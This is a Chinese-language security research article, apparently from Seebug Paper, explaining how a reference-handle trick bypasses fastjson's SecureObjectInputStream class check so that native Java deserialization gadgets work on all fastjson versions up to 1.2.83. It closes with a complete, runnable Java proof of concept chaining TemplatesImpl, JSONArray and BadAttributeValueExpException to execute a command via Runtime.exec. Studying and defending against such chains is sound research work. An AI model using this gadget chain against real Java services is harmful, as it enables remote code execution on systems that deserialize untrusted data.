作者: Y4tacker
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

很早之前在發第一篇的時候@jsjcw師傅就曾提到1.2.49后也能利用引用繞過,后面由@1ue師傅在知識星球中利用這個思路成功繞過并分享了payload,至此fastjson全版本就徹底加入原生反序列化的gadget,向師傅們致敬,想著將文章完善的緣故,并且師傅們沒有提到具體的原理,因此發個第二篇進行簡單介紹。

當然這里不會詳細說明完整的序列化與反序列化的過程,如果有感興趣的可以參考panda師傅的博客,關于序列化流程分析總結反序列化流程分析總結,里面已經寫的很細致了。

回顧

之前提到了從1.2.49開始,我們的JSONArray以及JSONObject方法開始真正有了自己的readObject方法,

image-20230426095410017

在其SecureObjectInputStream類當中重寫了resolveClass,通過調用了checkAutoType方法做類的檢查,這樣真的是安全的么?

resolveClass的調用

乍一看,這樣的寫法很安全,當調用JSONArray/JSONObject的Object方法觸發反序列化時,將這個反序列化過程委托給SecureObjectInputStream處理時,觸發resolveClass實現對惡意類的攔截

這時候反序列化的調用過程是這樣的,就是這樣不安全的ObjectInputStream套個安全的SecureObjectInputStream導致了繞過

不安全的反序列化過程

ObjectInputStream -> readObject
xxxxxx(省略中間過程)
SecureObjectInputStream -> readObject -> resolveClass

安全的反序列化過程

多提一嘴,平時我們作防御則應該是生成一個繼承ObjectInputStream的類并重寫resolveClass(假定為TestInputStream),由它來做反序列化的入口,這樣才是安全的,因此壓力再次給到了開發身上

TestInputStream -> readObject -> resolveClass

為了解決這個問題,首先我們就需要看看什么情況下不會調用resolveClass,在java.io.ObjectInputStream#readObject0調用中,會根據讀到的bytes中tc的數據類型做不同的處理去恢復部分對象

switch (tc) {
                case TC_NULL:
                    return readNull();
                case TC_REFERENCE:
                    return readHandle(unshared);
                case TC_CLASS:
                    return readClass(unshared);
                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);
                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));
                case TC_ARRAY:
                    return checkResolve(readArray(unshared));
                case TC_ENUM:
                    return checkResolve(readEnum(unshared));
                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));
                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);
                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }
                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }
                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }

再往后,跳過一些細節過程,上面的不同case中大部分類都會最終調用readClassDesc去獲取類的描述符,在這個過程中如果當前反序列化數據下一位仍然是TC_CLASSDESC那么就會在readNonProxyDesc中觸發resolveClass

再回到上面這個switch分支的代碼,不會調用readClassDesc的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION,string與null這種對我們毫無用處的,exception類型則是解決序列化終止相關,這一點可以從其描述看出

image-20230426102949380

那么就只剩下了reference引用類型了

如何利用引用類型

現在我們就要思考,如何在JSONArray/JSONObject對象反序列化恢復對象時,讓我們的惡意類成為引用類型從而繞過resolveClass的檢查

答案是當向List、set、map類型中添加同樣對象時即可成功利用,這里也簡單提一下,這里以List為例,

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

當我們寫入對象時,會在handles這個哈希表中建立從對象到引用的映射

image-20230426105607843

當再次寫入同一對象時,在handles這個hash表中查到了映射

image-20230426110435564

那么就會通過writeHandle將重復對象以引用類型寫入

image-20230426110523137

因此我們就可以利用這個思路構建攻擊的payload了,這里簡單以偽代碼呈現,便于理解思路

TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);

WriteObjects(arrayList);

簡單梳理下

序列化時,在這里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl時,由于在handles這個hash表中查到了映射,后續則會以引用形式輸出

反序列化時ArrayList先通過readObject恢復TemplatesImpl對象,之后恢復BadAttributeValueExpException對象,在恢復過程中,由于BadAttributeValueExpException要恢復val對應的JSONArray/JSONObject對象,會觸發JSONArray/JSONObject的readObject方法,將這個過程委托給SecureObjectInputStream,在恢復JSONArray/JSONObject中的TemplatesImpl對象時,由于此時的第二個TemplatesImpl對象是引用類型,通過readHandle恢復對象的途中不會觸發resolveClass,由此實現了繞過

當然前面也提到了不僅僅是List,Set與Map類型都能成功觸發引用繞過。

完整利用

至此fastjson全版本實現了原生反序列化利用

代碼測試依賴

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.27.0-GA</version>
</dependency>

測試代碼以HashMap為例

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Y4HackJSON {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception{


        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd,"val",jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();



    }
}

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2067/